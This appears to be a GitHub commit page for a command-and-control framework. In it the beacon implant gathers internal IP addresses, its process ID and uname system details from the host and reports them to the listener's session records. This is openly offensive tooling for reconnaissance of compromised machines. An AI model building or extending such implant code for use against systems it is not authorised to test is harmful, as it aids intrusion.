Skip to content

Commit 6901888

Browse files
maxDcbmaxDcb
committed
add some metadata
1 parent a6b5e9f commit 6901888

File tree

6 files changed

+152
-32
lines changed

6 files changed

+152
-32
lines changed

‎beacon/Beacon.cpp‎

Lines changed: 24 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -59,19 +59,19 @@ std::string getInternalIP()
5959
{
6060
if (ifa->ifa_addr && ifa->ifa_addr->sa_family == AF_INET)
6161
{
62+
if(!ips.empty())
63+
ips+="\n";
64+
6265
void* tmpAddrPtr = &((struct sockaddr_in*)ifa->ifa_addr)->sin_addr;
6366
char addressBuffer[INET_ADDRSTRLEN];
6467
inet_ntop(AF_INET, tmpAddrPtr, addressBuffer, INET_ADDRSTRLEN);
6568

6669
// Filter out loopback
6770
if (std::string(ifa->ifa_name) != "lo")
6871
{
69-
std::cout << "Internal IP (" << ifa->ifa_name << "): " << addressBuffer << std::endl;
70-
ips += "ifa->ifa_name ";
7172
ips += ifa->ifa_name;
72-
ips += " ";
73+
ips += ": ";
7374
ips += addressBuffer;
74-
ips += ";";
7575
}
7676
}
7777
}
@@ -131,11 +131,13 @@ std::string getInternalIP()
131131

132132
for (struct addrinfo* ptr = result; ptr != nullptr; ptr = ptr->ai_next)
133133
{
134+
if(!ips.empty())
135+
ips+="\n";
136+
134137
struct sockaddr_in* sockaddr_ipv4 = reinterpret_cast<struct sockaddr_in*>(ptr->ai_addr);
135138
char ipStr[INET_ADDRSTRLEN];
136139
inet_ntop(AF_INET, &sockaddr_ipv4->sin_addr, ipStr, sizeof(ipStr));
137140
ips += ipStr;
138-
ips += ";";
139141
}
140142

141143
freeaddrinfo(result);
@@ -223,11 +225,10 @@ Beacon::Beacon()
223225

224226
srand(time(NULL));
225227

226-
std::string ips = getInternalIP();
227-
std::cout << "ips " << ips << std::endl;
228+
m_ips = getInternalIP();
228229

229230
int pid = getCurrentPID();
230-
std::cout << "pid " << pid << std::endl;
231+
m_pid = std::to_string(pid);
231232

232233
#ifdef __linux__
233234

@@ -247,12 +248,15 @@ Beacon::Beacon()
247248
struct utsname unameData;
248249
uname(&unameData);
249250

250-
// TODO what to do with all that info ?? How to get it ??
251-
// std::cout << unameData.sysname << std::endl;
252-
// std::cout << unameData.nodename << std::endl;
253-
// std::cout << unameData.release << std::endl;
254-
// std::cout << unameData.version << std::endl;
255-
// std::cout << unameData.machine << std::endl;
251+
m_additionalInfo = unameData.sysname;
252+
m_additionalInfo += "\n";
253+
m_additionalInfo += unameData.nodename;
254+
m_additionalInfo += "\n";
255+
m_additionalInfo += unameData.release;
256+
m_additionalInfo += "\n";
257+
m_additionalInfo += unameData.version;
258+
m_additionalInfo += "\n";
259+
m_additionalInfo += unameData.machine;
256260

257261
m_arch = unameData.machine;
258262

@@ -462,6 +466,9 @@ bool Beacon::taskResultsToCmd(std::string& output)
462466
bundleC2Message->set_privilege(m_privilege);
463467
bundleC2Message->set_os(m_os);
464468
bundleC2Message->set_lastProofOfLife("0");
469+
bundleC2Message->set_internalIps(m_ips);
470+
bundleC2Message->set_processId(m_pid);
471+
bundleC2Message->set_additionalInformation(m_additionalInfo);
465472

466473
while(!m_taskResult.empty())
467474
{
@@ -490,6 +497,9 @@ bool Beacon::taskResultsToCmd(std::string& output)
490497
bundleC2Message->set_privilege(ptr->getPrivilege());
491498
bundleC2Message->set_os(ptr->getOs());
492499
bundleC2Message->set_lastProofOfLife(ptr->getLastProofOfLife());
500+
bundleC2Message->set_internalIps(ptr->getInternalIps());
501+
bundleC2Message->set_processId(ptr->getProcessId());
502+
bundleC2Message->set_additionalInformation(ptr->getAdditionalInformation());
493503

494504
C2Message c2Message = ptr->getTaskResult();
495505
while(!c2Message.instruction().empty())

‎beacon/Beacon.hpp‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -43,6 +43,9 @@ class Beacon
4343
std::string m_arch;
4444
std::string m_privilege;
4545
std::string m_os;
46+
std::string m_ips;
47+
std::string m_pid;
48+
std::string m_additionalInfo;
4649

4750
std::queue<C2Message> m_tasks;
4851
std::queue<C2Message> m_taskResult;

‎listener/Listener.cpp‎

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -384,8 +384,14 @@ bool Listener::handleMessages(const std::string& input, std::string& output)
384384
std::string arch = bundleC2Message->arch();
385385
std::string privilege = bundleC2Message->privilege();
386386
std::string os = bundleC2Message->os();
387+
std::string internalIps = bundleC2Message->internalIps();
388+
std::string processId = bundleC2Message->processId();
389+
std::string additionalInformation = bundleC2Message->additionalInformation();
387390

388391
std::shared_ptr<Session> session = make_shared<Session>(listenerhash, beaconHash, hostname, username, arch, privilege, os);
392+
session->setInternalIps(internalIps);
393+
session->setProcessId(processId);
394+
session->setAdditionalInformation(additionalInformation);
389395
m_sessions.push_back(std::move(session));
390396
}
391397
else

‎listener/Session.hpp‎

Lines changed: 65 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -61,45 +61,94 @@ class Session
6161
m_os=os;
6262
m_killed=false;
6363

64+
6465
auto current_time = std::chrono::system_clock::now();
6566
auto duration_in_seconds = std::chrono::duration<double>(current_time.time_since_epoch());
6667
m_lastProofOfLifeSec = duration_in_seconds.count();
6768
}
6869

69-
std::string getListenerHash()
70+
const std::string& getListenerHash() const
7071
{
7172
return m_listenerHash;
7273
}
73-
74-
std::string getBeaconHash()
74+
const std::string& getBeaconHash() const
7575
{
7676
return m_beaconHash;
7777
}
78-
79-
std::string getUsername()
78+
const std::string& getUsername() const
8079
{
8180
return m_username;
8281
}
83-
84-
std::string getHostname()
82+
const std::string& getHostname() const
8583
{
8684
return m_hostname;
8785
}
88-
89-
std::string getArch()
86+
const std::string& getArch() const
9087
{
9188
return m_arch;
9289
}
93-
94-
std::string getPrivilege()
90+
const std::string& getPrivilege() const
9591
{
9692
return m_privilege;
9793
}
98-
99-
std::string getOs()
94+
const std::string& getOs() const
10095
{
10196
return m_os;
10297
}
98+
const std::string& getInternalIps() const
99+
{
100+
return m_internalIps;
101+
}
102+
const std::string& getProcessId() const
103+
{
104+
return m_processId;
105+
}
106+
const std::string& getAdditionalInformation() const
107+
{
108+
return m_additionalInformation;
109+
}
110+
111+
void setListenerHash(const std::string& listenerHash)
112+
{
113+
m_listenerHash = listenerHash;
114+
}
115+
void setBeaconHash(const std::string& beaconHash)
116+
{
117+
m_beaconHash = beaconHash;
118+
}
119+
void setUsername(const std::string& username)
120+
{
121+
m_username = username;
122+
}
123+
void setHostname(const std::string& hostname)
124+
{
125+
m_hostname = hostname;
126+
}
127+
void setArch(const std::string& arch)
128+
{
129+
m_arch = arch;
130+
}
131+
void setPrivilege(const std::string& privilege)
132+
{
133+
m_privilege = privilege;
134+
}
135+
void setOs(const std::string& os)
136+
{
137+
m_os = os;
138+
}
139+
void setInternalIps(const std::string& internalIps)
140+
{
141+
m_internalIps = internalIps;
142+
}
143+
void setProcessId(const std::string& processId)
144+
{
145+
m_processId = processId;
146+
}
147+
void setAdditionalInformation(const std::string& additionalInformation)
148+
{
149+
m_additionalInformation = additionalInformation;
150+
}
151+
103152

104153
void updatePoofOfLife(std::string& lastProofOfLife)
105154
{
@@ -242,6 +291,9 @@ class Session
242291
std::string m_arch;
243292
std::string m_privilege;
244293
std::string m_os;
294+
std::string m_internalIps;
295+
std::string m_processId;
296+
std::string m_additionalInformation;
245297

246298
std::vector<SessionListener> m_sessionListener;
247299

‎modules/ModuleCmd/C2Message.hpp‎

Lines changed: 53 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,9 @@ const std::string PrivilegeMsgTag = "PR";
2424
const std::string OsMsgTag = "OS";
2525
const std::string LastProofOfLifeMsgTag = "POF";
2626
const std::string SessionsMsgTag = "SS";
27-
27+
const std::string InternalIpsMsgTag = "IIPS";
28+
const std::string ProcessIdMsgTag = "PID";
29+
const std::string AdditionalInfoMsgTag = "ADI";
2830

2931

3032
//
@@ -345,6 +347,18 @@ class BundleC2Message
345347
if(it != bundleC2MessageJson.end())
346348
m_lastProofOfLife = bundleC2MessageJson[LastProofOfLifeMsgTag].get<std::string>();
347349

350+
it = bundleC2MessageJson.find(InternalIpsMsgTag);
351+
if(it != bundleC2MessageJson.end())
352+
m_internalIps = bundleC2MessageJson[InternalIpsMsgTag].get<std::string>();
353+
354+
it = bundleC2MessageJson.find(ProcessIdMsgTag);
355+
if(it != bundleC2MessageJson.end())
356+
m_processId = bundleC2MessageJson[ProcessIdMsgTag].get<std::string>();
357+
358+
it = bundleC2MessageJson.find(AdditionalInfoMsgTag);
359+
if(it != bundleC2MessageJson.end())
360+
m_additionalInformation = bundleC2MessageJson[AdditionalInfoMsgTag].get<std::string>();
361+
348362
auto sessions = bundleC2MessageJson[SessionsMsgTag];
349363

350364
for (nlohmann::json::iterator it = sessions.begin(); it != sessions.end(); ++it)
@@ -396,9 +410,16 @@ class BundleC2Message
396410
bundleC2MessageJson += nlohmann::json::object_t::value_type(OsMsgTag, m_os);
397411
if(!m_lastProofOfLife.empty())
398412
bundleC2MessageJson += nlohmann::json::object_t::value_type(LastProofOfLifeMsgTag, m_lastProofOfLife);
413+
if (!m_internalIps.empty())
414+
bundleC2MessageJson += nlohmann::json::object_t::value_type(InternalIpsMsgTag, m_internalIps);
415+
if (!m_processId.empty())
416+
bundleC2MessageJson += nlohmann::json::object_t::value_type(ProcessIdMsgTag, m_processId);
417+
if (!m_additionalInformation.empty())
418+
bundleC2MessageJson += nlohmann::json::object_t::value_type(AdditionalInfoMsgTag, m_additionalInformation);
399419
if(!sessions.empty())
400420
bundleC2MessageJson += nlohmann::json::object_t::value_type(SessionsMsgTag, sessions);
401421

422+
402423
*output = bundleC2MessageJson.dump();
403424
}
404425

@@ -455,18 +476,30 @@ class BundleC2Message
455476
{
456477
return m_arch;
457478
}
458-
const std::string& privilege() const
479+
const std::string& privilege() const
459480
{
460481
return m_privilege;
461482
}
462-
const std::string& os() const
483+
const std::string& os() const
463484
{
464485
return m_os;
465486
}
466-
const std::string& lastProofOfLife() const
487+
const std::string& lastProofOfLife() const
467488
{
468489
return m_lastProofOfLife;
469490
}
491+
const std::string& internalIps() const
492+
{
493+
return m_internalIps;
494+
}
495+
const std::string& processId() const
496+
{
497+
return m_processId;
498+
}
499+
const std::string& additionalInformation() const
500+
{
501+
return m_additionalInformation;
502+
}
470503

471504
void set_beaconhash(const std::string& beaconHash)
472505
{
@@ -500,7 +533,20 @@ class BundleC2Message
500533
{
501534
m_lastProofOfLife = lastProofOfLife;
502535
}
536+
void set_internalIps(const std::string& internalIps)
537+
{
538+
m_internalIps = internalIps;
539+
}
540+
void set_processId(const std::string& pid)
541+
{
542+
m_processId = pid;
543+
}
544+
void set_additionalInformation(const std::string& info)
545+
{
546+
m_additionalInformation = info;
547+
}
503548

549+
504550
private:
505551
std::vector<std::unique_ptr<C2Message>> m_c2Messages;
506552

@@ -512,6 +558,9 @@ class BundleC2Message
512558
std::string m_privilege;
513559
std::string m_os;
514560
std::string m_lastProofOfLife;
561+
std::string m_internalIps;
562+
std::string m_processId;
563+
std::string m_additionalInformation;
515564
};
516565

517566

‎modules/ModuleCmd/CommonCommand.hpp‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -121,7 +121,7 @@ class CommonCommands
121121
else if (cmd == ListenerCmd)
122122
{
123123
output = "listener:\n";
124-
output += " Starts a TCP or SMB listener on the beacon.\n"
124+
output += " Starts a TCP or SMB listener on the beacon.\n";
125125
output += " The IP or hostname given to the listener is only in case of dropper use, to know where to connect to. It will show in the GUI.\n";
126126
output += " Examples:\n";
127127
output += " - listener start tcp <IP> <port>\n";

0 commit comments

Comments
 (0)